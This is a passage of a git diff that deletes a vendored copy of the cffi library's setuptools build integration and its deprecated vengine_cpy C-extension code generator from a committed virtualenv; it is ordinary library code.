os.path.exists(rewritten): - ext = ' (rewrite cffi_modules to [%r])' % ( - rewritten + ':' + ffi_var_name,) - error("%r does not name an existing file%s" % (build_file_name, ext)) - - mod_vars = {'__name__': '__cffi__', '__file__': build_file_name} - execfile(build_file_name, mod_vars) - - try: - ffi = mod_vars[ffi_var_name] - except KeyError: - error("%r: object %r not found in module" % (mod_spec, - ffi_var_name)) - if not isinstance(ffi, FFI): - ffi = ffi() # maybe it's a function instead of directly an ffi - if not isinstance(ffi, FFI): - error("%r is not an FFI instance (got %r)" % (mod_spec, - type(ffi).__name__)) - if not hasattr(ffi, '_assigned_source'): - error("%r: the set_source() method was not called" % (mod_spec,)) - module_name, source, source_extension, kwds = ffi._assigned_source - if ffi._windows_unicode: - kwds = kwds.copy() - ffi._apply_windows_unicode(kwds) - - if source is None: - _add_py_module(dist, ffi, module_name) - else: - _add_c_module(dist, ffi, module_name, source, source_extension, kwds) - -def _set_py_limited_api(Extension, kwds): - """ - Add py_limited_api to kwds if setuptools >= 26 is in use. - Do not alter the setting if it already exists. - Setuptools takes care of ignoring the flag on Python 2 and PyPy. - - CPython itself should ignore the flag in a debugging version - (by not listing .abi3.so in the extensions it supports), but - it doesn't so far, creating troubles. That's why we check - for "not hasattr(sys, 'gettotalrefcount')" (the 2.7 compatible equivalent - of 'd' not in sys.abiflags). (http://bugs.python.org/issue28401) - - On Windows, with CPython <= 3.4, it's better not to use py_limited_api - because virtualenv *still* doesn't copy PYTHON3.DLL on these versions. - Recently (2020) we started shipping only >= 3.5 wheels, though. So - we'll give it another try and set py_limited_api on Windows >= 3.5. - """ - from cffi._shimmed_dist_utils import log - from cffi import recompiler - - if ('py_limited_api' not in kwds and not hasattr(sys, 'gettotalrefcount') - and recompiler.USE_LIMITED_API): - import setuptools - try: - setuptools_major_version = int(setuptools.__version__.partition('.')[0]) - if setuptools_major_version >= 26: - kwds['py_limited_api'] = True - except ValueError: # certain development versions of setuptools - # If we don't know the version number of setuptools, we - # try to set 'py_limited_api' anyway. At worst, we get a - # warning. - kwds['py_limited_api'] = True - - if sysconfig.get_config_var("Py_GIL_DISABLED"): - if sys.version_info < (3, 15): - if kwds.get('py_limited_api'): - log.info("Ignoring py_limited_api=True for free-threaded build.") - kwds['py_limited_api'] = False - else: - kwds.setdefault("define_macros", []).append(("Py_TARGET_ABI3T", "0x030f0000")) - - if kwds.get('py_limited_api') is False: - # avoid setting Py_LIMITED_API if py_limited_api=False - # which _cffi_include.h does unless _CFFI_NO_LIMITED_API is defined - kwds.setdefault("define_macros", []).append(("_CFFI_NO_LIMITED_API", None)) - return kwds - -def _add_c_module(dist, ffi, module_name, source, source_extension, kwds): - # We are a setuptools extension. Need this build_ext for py_limited_api. - from setuptools.command.build_ext import build_ext - from cffi._shimmed_dist_utils import Extension, log, mkpath - from cffi import recompiler - - allsources = ['$PLACEHOLDER'] - allsources.extend(kwds.pop('sources', [])) - kwds = _set_py_limited_api(Extension, kwds) - ext = Extension(name=module_name, sources=allsources, **kwds) - - def make_mod(tmpdir, pre_run=None): - c_file = os.path.join(tmpdir, module_name + source_extension) - log.info("generating cffi module %r" % c_file) - mkpath(tmpdir) - # a setuptools-only, API-only hook: called with the "ext" and "ffi" - # arguments just before we turn the ffi into C code. To use it, - # subclass the 'distutils.command.build_ext.build_ext' class and - # add a method 'def pre_run(self, ext, ffi)'. - if pre_run is not None: - pre_run(ext, ffi) - updated = recompiler.make_c_source(ffi, module_name, source, c_file) - if not updated: - log.info("already up-to-date") - return c_file - - if dist.ext_modules is None: - dist.ext_modules = [] - dist.ext_modules.append(ext) - - base_class = dist.cmdclass.get('build_ext', build_ext) - class build_ext_make_mod(base_class): - def run(self): - if ext.sources[0] == '$PLACEHOLDER': - pre_run = getattr(self, 'pre_run', None) - ext.sources[0] = make_mod(self.build_temp, pre_run) - base_class.run(self) - dist.cmdclass['build_ext'] = build_ext_make_mod - # NB. multiple runs here will create multiple 'build_ext_make_mod' - # classes. Even in this case the 'build_ext' command should be - # run once; but just in case, the logic above does nothing if - # called again. - - -def _add_py_module(dist, ffi, module_name): - from setuptools.command.build_py import build_py - from setuptools.command.build_ext import build_ext - from cffi._shimmed_dist_utils import log, mkpath - from cffi import recompiler - - def generate_mod(py_file): - log.info("generating cffi module %r" % py_file) - mkpath(os.path.dirname(py_file)) - updated = recompiler.make_py_source(ffi, module_name, py_file) - if not updated: - log.info("already up-to-date") - - base_class = dist.cmdclass.get('build_py', build_py) - class build_py_make_mod(base_class): - def run(self): - base_class.run(self) - module_path = module_name.split('.') - module_path[-1] += '.py' - generate_mod(os.path.join(self.build_lib, *module_path)) - def get_source_files(self): - # This is called from 'setup.py sdist' only. Exclude - # the generate .py module in this case. - saved_py_modules = self.py_modules - try: - if saved_py_modules: - self.py_modules = [m for m in saved_py_modules - if m != module_name] - return base_class.get_source_files(self) - finally: - self.py_modules = saved_py_modules - dist.cmdclass['build_py'] = build_py_make_mod - - # distutils and setuptools have no notion I could find of a - # generated python module. If we don't add module_name to - # dist.py_modules, then things mostly work but there are some - # combination of options (--root and --record) that will miss - # the module. So we add it here, which gives a few apparently - # harmless warnings about not finding the file outside the - # build directory. - # Then we need to hack more in get_source_files(); see above. - if dist.py_modules is None: - dist.py_modules = [] - dist.py_modules.append(module_name) - - # the following is only for "build_ext -i" - base_class_2 = dist.cmdclass.get('build_ext', build_ext) - class build_ext_make_mod(base_class_2): - def run(self): - base_class_2.run(self) - if self.inplace: - # from get_ext_fullpath() in distutils/command/build_ext.py - module_path = module_name.split('.') - package = '.'.join(module_path[:-1]) - build_py = self.get_finalized_command('build_py') - package_dir = build_py.get_package_dir(package) - file_name = module_path[-1] + '.py' - generate_mod(os.path.join(package_dir, file_name)) - dist.cmdclass['build_ext'] = build_ext_make_mod - -def cffi_modules(dist, attr, value): - assert attr == 'cffi_modules' - if isinstance(value, basestring): - value = [value] - - for cffi_module in value: - add_cffi_module(dist, cffi_module) diff --git a/venv/Lib/site-packages/cffi/vengine_cpy.py b/venv/Lib/site-packages/cffi/vengine_cpy.py deleted file mode 100644 index 4d2ea43e5d9579838969a7409d1828099773e351..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/vengine_cpy.py +++ /dev/null @@ -1,1058 +0,0 @@ -# -# DEPRECATED: implementation for ffi.verify() -# -import sys -from . import model -from .error import VerificationError -from . import _imp_emulation as imp - - -class VCPythonEngine: - _class_key = 'x' - _gen_python_module = True - - def __init__(self, verifier): - self.verifier = verifier - self.ffi = verifier.ffi - self._struct_pending_verification = {} - self._types_of_builtin_functions = {} - - def patch_extension_kwds(self, kwds): - pass - - def find_module(self, module_name, path, so_suffixes): - try: - f, filename, descr = imp.find_module(module_name, path) - except ImportError: - return None - if f is not None: - f.close() - # Note that after a setuptools installation, there are both .py - # and .so files with the same basename. The code here relies on - # imp.find_module() locating the .so in priority. - if descr[0] not in so_suffixes: - return None - return filename - - def collect_types(self): - self._typesdict = {} - self._generate("collecttype") - - def _prnt(self, what=''): - self._f.write(what + '\n') - - def _gettypenum(self, type): - # a KeyError here is a bug. please report it! :-) - return self._typesdict[type] - - def _do_collect_type(self, tp): - if ((not isinstance(tp, model.PrimitiveType) - or tp.name == 'long double') - and tp not in self._typesdict): - num = len(self._typesdict) - self._typesdict[tp] = num - - def write_source_to_f(self): - self.collect_types() - # - # The new module will have a _cffi_setup() function that receives - # objects from the ffi world, and that calls some setup code in - # the module. This setup code is split in several independent - # functions, e.g. one per constant. The functions are "chained" - # by ending in a tail call to each other. - # - # This is further split in two chained lists, depending on if we - # can do it at import-time or if we must wait for _cffi_setup() to - # provide us with the objects. This is needed because we - # need the values of the enum constants in order to build the - # that we may have to pass to _cffi_setup(). - # - # The following two 'chained_list_constants' items contains - # the head of these two chained lists, as a string that gives the - # call to do, if any. - self._chained_list_constants = ['((void)lib,0)', '((void)lib,0)'] - # - prnt = self._prnt - # first paste some standard set of lines that are mostly '#define' - prnt(cffimod_header) - prnt() - # then paste the C source given by the user, verbatim. - prnt(self.verifier.preamble) - prnt() - # - # call generate_cpy_xxx_decl(), for every xxx found from - # ffi._parser._declarations. This generates all the functions. - self._generate("decl") - # - # implement the function _cffi_setup_custom() as calling the - # head of the chained list. - self._generate_setup_custom() - prnt() - # - # produce the method table, including the entries for the - # generated Python->C function wrappers, which are done - # by generate_cpy_function_method(). - prnt('static PyMethodDef _cffi_methods[] = {') - self._generate("method") - prnt(' {"_cffi_setup", _cffi_setup, METH_VARARGS, NULL},') - prnt(' {NULL, NULL, 0, NULL} /* Sentinel */') - prnt('};') - prnt() - # - # standard init. - modname = self.verifier.get_module_name() - constants = self._chained_list_constants[False] - prnt('static struct PyModuleDef _cffi_module_def = {') - prnt(' PyModuleDef_HEAD_INIT,') - prnt(' "%s",' % modname) - prnt(' NULL,') - prnt(' -1,') - prnt(' _cffi_methods,') - prnt(' NULL, NULL, NULL, NULL') - prnt('};') - prnt() - prnt('PyMODINIT_FUNC') - prnt('PyInit_%s(void)' % modname) - prnt('{') - prnt(' PyObject *lib;') - prnt(' lib = PyModule_Create(&_cffi_module_def);') - prnt(' if (lib == NULL)') - prnt(' return NULL;') - prnt(' if (%s < 0 || _cffi_init() < 0) {' % (constants,)) - prnt(' Py_DECREF(lib);') - prnt(' return NULL;') - prnt(' }') - prnt('#if Py_GIL_DISABLED') - prnt(' PyUnstable_Module_SetGIL(lib, Py_MOD_GIL_NOT_USED);') - prnt('#endif') - prnt(' return lib;') - prnt('}') - prnt() - - def load_library(self, flags=None): - # XXX review all usages of 'self' here! - # import it as a new extension module - imp.acquire_lock() - try: - if hasattr(sys, "getdlopenflags"): - previous_flags = sys.getdlopenflags() - try: - if hasattr(sys, "setdlopenflags") and flags is not None: - sys.setdlopenflags(flags) - module = imp.load_dynamic(self.verifier.get_module_name(), - self.verifier.modulefilename) - except ImportError as e: - error = "importing %r: %s" % (self.verifier.modulefilename, e) - raise VerificationError(error) - finally: - if hasattr(sys, "setdlopenflags"): - sys.setdlopenflags(previous_flags) - finally: - imp.release_lock() - # - # call loading_cpy_struct() to get the struct layout inferred by - # the C compiler - self._load(module, 'loading') - # - # the C code will need the objects. Collect them in - # order in a list. - revmapping = dict([(value, key) - for (key, value) in self._typesdict.items()]) - lst = [revmapping[i] for i in range(len(revmapping))] - lst = list(map(self.ffi._get_cached_btype, lst)) - # - # build the FFILibrary class and instance and call _cffi_setup(). - # this will set up some fields like '_cffi_types', and only then - # it will invoke the chained list of functions that will really - # build (notably) the constant objects, as if they are - # pointers, and store them as attributes on the 'library' object. - class FFILibrary: - _cffi_python_module = module - _cffi_ffi = self.ffi - _cffi_dir = [] - def __dir__(self): - return FFILibrary._cffi_dir + list(self.__dict__) - library = FFILibrary() - if module._cffi_setup(lst, VerificationError, library): - import warnings - warnings.warn("reimporting %r might overwrite older definitions" - % (self.verifier.get_module_name())) - # - # finally, call the loaded_cpy_xxx() functions. This will perform - # the final adjustments, like copying the Python->C wrapper - # functions from the module to the 'library' object, and setting - # up the FFILibrary class with properties for the global C variables. - self._load(module, 'loaded', library=library) - module._cffi_original_ffi = self.ffi - module._cffi_types_of_builtin_funcs = self._types_of_builtin_functions - return library - - def _get_declarations(self): - lst = [(key, tp) for (key, (tp, qual)) in - self.ffi._parser._declarations.items()] - lst.sort() - return lst - - def _generate(self, step_name): - for name, tp in self._get_declarations(): - kind, realname = name.split(' ', 1) - try: - method = getattr(self, '_generate_cpy_%s_%s' % (kind, - step_name)) - except AttributeError: - raise VerificationError( - "not implemented in verify(): %r" % name) - try: - method(tp, realname) - except Exception as e: - model.attach_exception_info(e, name) - raise - - def _load(self, module, step_name, **kwds): - for name, tp in self._get_declarations(): - kind, realname = name.split(' ', 1) - method = getattr(self, '_%s_cpy_%s' % (step_name, kind)) - try: - method(tp, realname, module, **kwds) - except Exception as e: - model.attach_exception_info(e, name) - raise - - def _generate_nothing(self, tp, name): - pass - - def _loaded_noop(self, tp, name, module, **kwds): - pass - - # ---------- - - def _convert_funcarg_to_c(self, tp, fromvar, tovar, errcode): - extraarg = '' - if isinstance(tp, model.PrimitiveType): - if tp.is_integer_type() and tp.name != '_Bool': - converter = '_cffi_to_c_int' - extraarg = ', %s' % tp.name - elif tp.is_complex_type(): - raise VerificationError( - "not implemented in verify(): complex types") - else: - converter = '(%s)_cffi_to_c_%s' % (tp.get_c_name(''), - tp.name.replace(' ', '_')) - errvalue = '-1' - # - elif isinstance(tp, model.PointerType): - self._convert_funcarg_to_c_ptr_or_array(tp, fromvar, - tovar, errcode) - return - # - elif isinstance(tp, (model.StructOrUnion, model.EnumType)): - # a struct (not a struct pointer) as a function argument - self._prnt(' if (_cffi_to_c((char *)&%s, _cffi_type(%d), %s) < 0)' - % (tovar, self._gettypenum(tp), fromvar)) - self._prnt(' %s;' % errcode) - return - # - elif isinstance(tp, model.FunctionPtrType): - converter = '(%s)_cffi_to_c_pointer' % tp.get_c_name('') - extraarg = ', _cffi_type(%d)' % self._gettypenum(tp) - errvalue = 'NULL' - # - else: - raise NotImplementedError(tp) - # - self._prnt(' %s = %s(%s%s);' % (tovar, converter, fromvar, extraarg)) - self._prnt(' if (%s == (%s)%s && PyErr_Occurred())' % ( - tovar, tp.get_c_name(''), errvalue)) - self._prnt(' %s;' % errcode) - - def _extra_local_variables(self, tp, localvars, freelines): - if isinstance(tp, model.PointerType): - localvars.add('Py_ssize_t datasize') - localvars.add('struct _cffi_freeme_s *large_args_free = NULL') - freelines.add('if (large_args_free != NULL)' - ' _cffi_free_array_arguments(large_args_free);') - - def _convert_funcarg_to_c_ptr_or_array(self, tp, fromvar, tovar, errcode): - self._prnt(' datasize = _cffi_prepare_pointer_call_argument(') - self._prnt(' _cffi_type(%d), %s, (char **)&%s);' % ( - self._gettypenum(tp), fromvar, tovar)) - self._prnt(' if (datasize != 0) {') - self._prnt(' %s = ((size_t)datasize) <= 640 ? ' - 'alloca((size_t)datasize) : NULL;' % (tovar,)) - self._prnt(' if (_cffi_convert_array_argument(_cffi_type(%d), %s, ' - '(char **)&%s,' % (self._gettypenum(tp), fromvar, tovar)) - self._prnt(' datasize, &large_args_free) < 0)') - self._prnt(' %s;' % errcode) - self._prnt(' }') - - def _convert_expr_from_c(self, tp, var, context): - if isinstance(tp, model.PrimitiveType): - if tp.is_integer_type() and tp.name != '_Bool': - return '_cffi_from_c_int(%s, %s)' % (var, tp.name) - elif tp.name != 'long double': - return '_cffi_from_c_%s(%s)' % (tp.name.replace(' ', '_'), var) - else: - return '_cffi_from_c_deref((char *)&%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - elif isinstance(tp, (model.PointerType, model.FunctionPtrType)): - return '_cffi_from_c_pointer((char *)%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - elif isinstance(tp, model.ArrayType): - return '_cffi_from_c_pointer((char *)%s, _cffi_type(%d))' % ( - var, self._gettypenum(model.PointerType(tp.item))) - elif isinstance(tp, model.StructOrUnion): - if tp.fldnames is None: - raise TypeError("'%s' is used as %s, but is opaque" % ( - tp._get_c_name(), context)) - return '_cffi_from_c_struct((char *)&%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - elif isinstance(tp, model.EnumType): - return '_cffi_from_c_deref((char *)&%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - else: - raise NotImplementedError(tp) - - # ---------- - # typedefs: generates no code so far - - _generate_cpy_typedef_collecttype = _generate_nothing - _generate_cpy_typedef_decl = _generate_nothing - _generate_cpy_typedef_method = _generate_nothing - _loading_cpy_typedef = _loaded_noop - _loaded_cpy_typedef = _loaded_noop - - # ---------- - # function declarations - - def _generate_cpy_function_collecttype(self, tp, name): - assert isinstance(tp, model.FunctionPtrType) - if tp.ellipsis: - self._do_collect_type(tp) - else: - # don't call _do_collect_type(tp) in this common case, - # otherwise test_autofilled_struct_as_argument fails - for type in tp.args: - self._do_collect_type(type) - self._do_collect_type(tp.result) - - def _generate_cpy_function_decl(self, tp, name): - assert isinstance(tp, model.FunctionPtrType) - if tp.ellipsis: - # cannot support vararg functions better than this: check for its - # exact type (including the fixed arguments), and build it as a - # constant function pointer (no CPython wrapper) - self._generate_cpy_const(False, name, tp) - return - prnt = self._prnt - numargs = len(tp.args) - if numargs == 0: - argname = 'noarg' - elif numargs == 1: - argname = 'arg0' - else: - argname = 'args' - prnt('static PyObject *') - prnt('_cffi_f_%s(PyObject *self, PyObject *%s)' % (name, argname)) - prnt('{') - # - context = 'argument of %s' % name - for i, type in enumerate(tp.args): - prnt(' %s;' % type.get_c_name(' x%d' % i, context)) - # - localvars = set() - freelines = set() - for type in tp.args: - self._extra_local_variables(type, localvars, freelines) - for decl in sorted(localvars): - prnt(' %s;' % (decl,)) - # - if not isinstance(tp.result, model.VoidType): - result_code = 'result = ' - context = 'result of %s' % name - prnt(' %s;' % tp.result.get_c_name(' result', context)) - prnt(' PyObject *pyresult;') - else: - result_code = '' - # - if len(tp.args) > 1: - rng = range(len(tp.args)) - for i in rng: - prnt(' PyObject *arg%d;' % i) - prnt() - prnt(' if (!PyArg_ParseTuple(args, "%s:%s", %s))' % ( - 'O' * numargs, name, ', '.join(['&arg%d' % i for i in rng]))) - prnt(' return NULL;') - prnt() - # - for i, type in enumerate(tp.args): - self._convert_funcarg_to_c(type, 'arg%d' % i, 'x%d' % i, - 'return NULL') - prnt() - # - prnt(' Py_BEGIN_ALLOW_THREADS') - prnt(' _cffi_restore_errno();') - prnt(' { %s%s(%s); }' % ( - result_code, name, - ', '.join(['x%d' % i for i in range(len(tp.args))]))) - prnt(' _cffi_save_errno();') - prnt(' Py_END_ALLOW_THREADS') - prnt() - # - prnt(' (void)self; /* unused */') - if numargs == 0: - prnt(' (void)noarg; /* unused */') - if result_code: - prnt(' pyresult = %s;' % - self._convert_expr_from_c(tp.result, 'result', 'result type')) - for freeline in freelines: - prnt(' ' + freeline) - prnt(' return pyresult;') - else: - for freeline in freelines: - prnt(' ' + freeline) - prnt(' Py_INCREF(Py_None);') - prnt(' return Py_None;') - prnt('}') - prnt() - - def _generate_cpy_function_method(self, tp, name): - if tp.ellipsis: - return - numargs = len(tp.args) - if numargs == 0: - meth = 'METH_NOARGS' - elif numargs == 1: - meth = 'METH_O' - else: - meth = 'METH_VARARGS' - self._prnt(' {"%s", _cffi_f_%s, %s, NULL},' % (name, name, meth)) - - _loading_cpy_function = _loaded_noop - - def _loaded_cpy_function(self, tp, name, module, library): - if tp.ellipsis: - return - func = getattr(module, name) - setattr(library, name, func) - self._types_of_builtin_functions[func] = tp - - # ---------- - # named structs - - _generate_cpy_struct_collecttype = _generate_nothing - def _generate_cpy_struct_decl(self, tp, name): - assert name == tp.name - self._generate_struct_or_union_decl(tp, 'struct', name) - def _generate_cpy_struct_method(self, tp, name): - self._generate_struct_or_union_method(tp, 'struct', name) - def _loading_cpy_struct(self, tp, name, module): - self._loading_struct_or_union(tp, 'struct', name, module) - def _loaded_cpy_struct(self, tp, name, module, **kwds): - self._loaded_struct_or_union(tp) - - _generate_cpy_union_collecttype = _generate_nothing - def _generate_cpy_union_decl(self, tp, name): - assert name == tp.name - self._generate_struct_or_union_decl(tp, 'union', name) - def _generate_cpy_union_method(self, tp, name): - self._generate_struct_or_union_method(tp, 'union', name) - def _loading_cpy_union(self, tp, name, module): - self._loading_struct_or_union(tp, 'union', name, module) - def _loaded_cpy_union(self, tp, name, module, **kwds): - self._loaded_struct_or_union(tp) - - def _generate_struct_or_union_decl(self, tp, prefix, name): - if tp.fldnames is None: - return # nothing to do with opaque structs - checkfuncname = '_cffi_check_%s_%s' % (prefix, name) - layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name) - cname = ('%s %s' % (prefix, name)).strip() - # - prnt = self._prnt - prnt('static void %s(%s *p)' % (checkfuncname, cname)) - prnt('{') - prnt(' /* only to generate compile-time warnings or errors */') - prnt(' (void)p;') - for fname, ftype, fbitsize, fqual in tp.enumfields(): - if (isinstance(ftype, model.PrimitiveType) - and ftype.is_integer_type()) or fbitsize >= 0: - # accept all integers, but complain on float or double - prnt(' (void)((p->%s) << 1);' % fname) - else: - # only accept exactly the type declared. - try: - prnt(' { %s = &p->%s; (void)tmp; }' % ( - ftype.get_c_name('*tmp', 'field %r'%fname, quals=fqual), - fname)) - except VerificationError as e: - prnt(' /* %s */' % str(e)) # cannot verify it, ignore - prnt('}') - prnt('static PyObject *') - prnt('%s(PyObject *self, PyObject *noarg)' % (layoutfuncname,)) - prnt('{') - prnt(' struct _cffi_aligncheck { char x; %s y; };' % cname) - prnt(' static Py_ssize_t nums[] = {') - prnt(' sizeof(%s),' % cname) - prnt(' offsetof(struct _cffi_aligncheck, y),') - for fname, ftype, fbitsize, fqual in tp.enumfields(): - if fbitsize >= 0: - continue # xxx ignore fbitsize for now - prnt(' offsetof(%s, %s),' % (cname, fname)) - if isinstance(ftype, model.ArrayType) and ftype.length is None: - prnt(' 0, /* %s */' % ftype._get_c_name()) - else: - prnt(' sizeof(((%s *)0)->%s),' % (cname, fname)) - prnt(' -1') - prnt(' };') - prnt(' (void)self; /* unused */') - prnt(' (void)noarg; /* unused */') - prnt(' return _cffi_get_struct_layout(nums);') - prnt(' /* the next line is not executed, but compiled */') - prnt(' %s(0);' % (checkfuncname,)) - prnt('}') - prnt() - - def _generate_struct_or_union_method(self, tp, prefix, name): - if tp.fldnames is None: - return # nothing to do with opaque structs - layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name) - self._prnt(' {"%s", %s, METH_NOARGS, NULL},' % (layoutfuncname, - layoutfuncname)) - - def _loading_struct_or_union(self, tp, prefix, name, module): - if tp.fldnames is None: - return # nothing to do with opaque structs - layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name) - # - function = getattr(module, layoutfuncname) - layout = function() - if isinstance(tp, model.StructOrUnion) and tp.partial: - # use the function()'s sizes and offsets to guide the - # layout of the struct - totalsize = layout[0] - totalalignment = layout[1] - fieldofs = layout[2::2] - fieldsize = layout[3::2] - tp.force_flatten() - assert len(fieldofs) == len(fieldsize) == len(tp.fldnames) - tp.fixedlayout = fieldofs, fieldsize, totalsize, totalalignment - else: - cname = ('%s %s' % (prefix, name)).strip() - self._struct_pending_verification[tp] = layout, cname - - def _loaded_struct_or_union(self, tp): - if tp.fldnames is None: - return # nothing to do with opaque structs - self.ffi._get_cached_btype(tp) # force 'fixedlayout' to be considered - - if tp in self._struct_pending_verification: - # check that the layout sizes and offsets match the real ones - def check(realvalue, expectedvalue, msg): - if realvalue != expectedvalue: - raise VerificationError( - "%s (we have %d, but C compiler says %d)" - % (msg, expectedvalue, realvalue)) - ffi = self.ffi - BStruct = ffi._get_cached_btype(tp) - layout, cname = self._struct_pending_verification.pop(tp) - check(layout[0], ffi.sizeof(BStruct), "wrong total size") - check(layout[1], ffi.alignof(BStruct), "wrong total alignment") - i = 2 - for fname, ftype, fbitsize, fqual in tp.enumfields(): - if fbitsize >= 0: - continue # xxx ignore fbitsize for now - check(layout[i], ffi.offsetof(BStruct, fname), - "wrong offset for field %r" % (fname,)) - if layout[i+1] != 0: - BField = ffi._get_cached_btype(ftype) - check(layout[i+1], ffi.sizeof(BField), - "wrong size for field %r" % (fname,)) - i += 2 - assert i == len(layout) - - # ---------- - # 'anonymous' declarations. These are produced for anonymous structs - # or unions; the 'name' is obtained by a typedef. - - _generate_cpy_anonymous_collecttype = _generate_nothing - - def _generate_cpy_anonymous_decl(self, tp, name): - if isinstance(tp, model.EnumType): - self._generate_cpy_enum_decl(tp, name, '') - else: - self._generate_struct_or_union_decl(tp, '', name) - - def _generate_cpy_anonymous_method(self, tp, name): - if not isinstance(tp, model.EnumType): - self._generate_struct_or_union_method(tp, '', name) - - def _loading_cpy_anonymous(self, tp, name, module): - if isinstance(tp, model.EnumType): - self._loading_cpy_enum(tp, name, module) - else: - self._loading_struct_or_union(tp, '', name, module) - - def _loaded_cpy_anonymous(self, tp, name, module, **kwds): - if isinstance(tp, model.EnumType): - self._loaded_cpy_enum(tp, name, module, **kwds) - else: - self._loaded_struct_or_union(tp) - - # ---------- - # constants, likely declared with '#define' - - def _generate_cpy_const(self, is_int, name, tp=None, category='const', - vartp=None, delayed=True, size_too=False, - check_value=None): - prnt = self._prnt - funcname = '_cffi_%s_%s' % (category, name) - prnt('static int %s(PyObject *lib)' % funcname) - prnt('{') - prnt(' PyObject *o;') - prnt(' int res;') - if not is_int: - prnt(' %s;' % (vartp or tp).get_c_name(' i', name)) - else: - assert category == 'const' - # - if check_value is not None: - self._check_int_constant_value(name, check_value) - # - if not is_int: - if category == 'var': - realexpr = '&' + name - else: - realexpr = name - prnt(' i = (%s);' % (realexpr,)) - prnt(' o = %s;' % (self._convert_expr_from_c(tp, 'i', - 'variable type'),)) - assert delayed - else: - prnt(' o = _cffi_from_c_int_const(%s);' % name) - prnt(' if (o == NULL)') - prnt(' return -1;') - if size_too: - prnt(' {') - prnt(' PyObject *o1 = o;') - prnt(' o = Py_BuildValue("On", o1, (Py_ssize_t)sizeof(%s));' - % (name,)) - prnt(' Py_DECREF(o1);') - prnt(' if (o == NULL)') - prnt(' return -1;') - prnt(' }') - prnt(' res = PyObject_SetAttrString(lib, "%s", o);' % name) - prnt(' Py_DECREF(o);') - prnt(' if (res < 0)') - prnt(' return -1;') - prnt(' return %s;' % self._chained_list_constants[delayed]) - self._chained_list_constants[delayed] = funcname + '(lib)' - prnt('}') - prnt() - - def _generate_cpy_constant_collecttype(self, tp, name): - is_int = isinstance(tp, model.PrimitiveType) and tp.is_integer_type() - if not is_int: - self._do_collect_type(tp) - - def _generate_cpy_constant_decl(self, tp, name): - is_int = isinstance(tp, model.PrimitiveType) and tp.is_integer_type() - self._generate_cpy_const(is_int, name, tp) - - _generate_cpy_constant_method = _generate_nothing - _loading_cpy_constant = _loaded_noop - _loaded_cpy_constant = _loaded_noop - - # ---------- - # enums - - def _check_int_constant_value(self, name, value, err_prefix=''): - prnt = self._prnt - if value <= 0: - prnt(' if ((%s) > 0 || (long)(%s) != %dL) {' % ( - name, name, value)) - else: - prnt(' if ((%s) <= 0 || (unsigned long)(%s) != %dUL) {' % ( - name, name, value)) - prnt(' char buf[64];') - prnt(' if ((%s) <= 0)' % name) - prnt(' snprintf(buf, 63, "%%ld", (long)(%s));' % name) - prnt(' else') - prnt(' snprintf(buf, 63, "%%lu", (unsigned long)(%s));' % - name) - prnt(' PyErr_Format(_cffi_VerificationError,') - prnt(' "%s%s has the real value %s, not %s",') - prnt(' "%s", "%s", buf, "%d");' % ( - err_prefix, name, value)) - prnt(' return -1;') - prnt(' }') - - def _enum_funcname(self, prefix, name): - # "$enum_$1" => "___D_enum____D_1" - name = name.replace('$', '___D_') - return '_cffi_e_%s_%s' % (prefix, name) - - def _generate_cpy_enum_decl(self, tp, name, prefix='enum'): - if tp.partial: - for enumerator in tp.enumerators: - self._generate_cpy_const(True, enumerator, delayed=False) - return - # - funcname = self._enum_funcname(prefix, name) - prnt = self._prnt - prnt('static int %s(PyObject *lib)' % funcname) - prnt('{') - for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues): - self._check_int_constant_value(enumerator, enumvalue, - "enum %s: " % name) - prnt(' return %s;' % self._chained_list_constants[True]) - self._chained_list_constants[True] = funcname + '(lib)' - prnt('}') - prnt() - - _generate_cpy_enum_collecttype = _generate_nothing - _generate_cpy_enum_method = _generate_nothing - - def _loading_cpy_enum(self, tp, name, module): - if tp.partial: - enumvalues = [getattr(module, enumerator) - for enumerator in tp.enumerators] - tp.enumvalues = tuple(enumvalues) - tp.partial_resolved = True - - def _loaded_cpy_enum(self, tp, name, module, library): - for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues): - setattr(library, enumerator, enumvalue) - - # ---------- - # macros: for now only for integers - - def _generate_cpy_macro_decl(self, tp, name): - if tp == '...': - check_value = None - else: - check_value = tp # an integer - self._generate_cpy_const(True, name, check_value=check_value) - - _generate_cpy_macro_collecttype = _generate_nothing - _generate_cpy_macro_method = _generate_nothing - _loading_cpy_macro = _loaded_noop - _loaded_cpy_macro = _loaded_noop - - # ---------- - # global variables - - def _generate_cpy_variable_collecttype(self, tp, name): - if isinstance(tp, model.ArrayType): - tp_ptr = model.PointerType(tp.item) - else: - tp_ptr = model.PointerType(tp) - self._do_collect_type(tp_ptr) - - def _generate_cpy_variable_decl(self, tp, name): - if isinstance(tp, model.ArrayType): - tp_ptr = model.PointerType(tp.item) - self._generate_cpy_const(False, name, tp, vartp=tp_ptr, - size_too = tp.length_is_unknown()) - else: - tp_ptr = model.PointerType(tp) - self._generate_cpy_const(False, name, tp_ptr, category='var') - - _generate_cpy_variable_method = _generate_nothing - _loading_cpy_variable = _loaded_noop - - def _loaded_cpy_variable(self, tp, name, module, library): - value = getattr(library, name) - if isinstance(tp, model.ArrayType): # int a[5] is "constant" in the - # sense that "a=..." is forbidden - if tp.length_is_unknown(): - assert isinstance(value, tuple) - (value, size) = value - BItemType = self.ffi._get_cached_btype(tp.item) - length, rest = divmod(size, self.ffi.sizeof(BItemType)) - if rest != 0: - raise VerificationError( - "bad size: %r does not seem to be an array of %s" % - (name, tp.item)) - tp = tp.resolve_length(length) - # 'value' is a which we have to replace with - # a if the N is actually known - if tp.length is not None: - BArray = self.ffi._get_cached_btype(tp) - value = self.ffi.cast(BArray, value) - setattr(library, name, value) - return - # remove ptr= from the library instance, and replace - # it by a property on the class, which reads/writes into ptr[0]. - ptr = value - delattr(library, name) - def getter(library): - return ptr[0] - def setter(library, value): - ptr[0] = value - setattr(type(library), name, property(getter, setter)) - type(library)._cffi_dir.append(name) - - # ---------- - - def _generate_setup_custom(self): - prnt = self._prnt - prnt('static int _cffi_setup_custom(PyObject *lib)') - prnt('{') - prnt(' return %s;' % self._chained_list_constants[True]) - 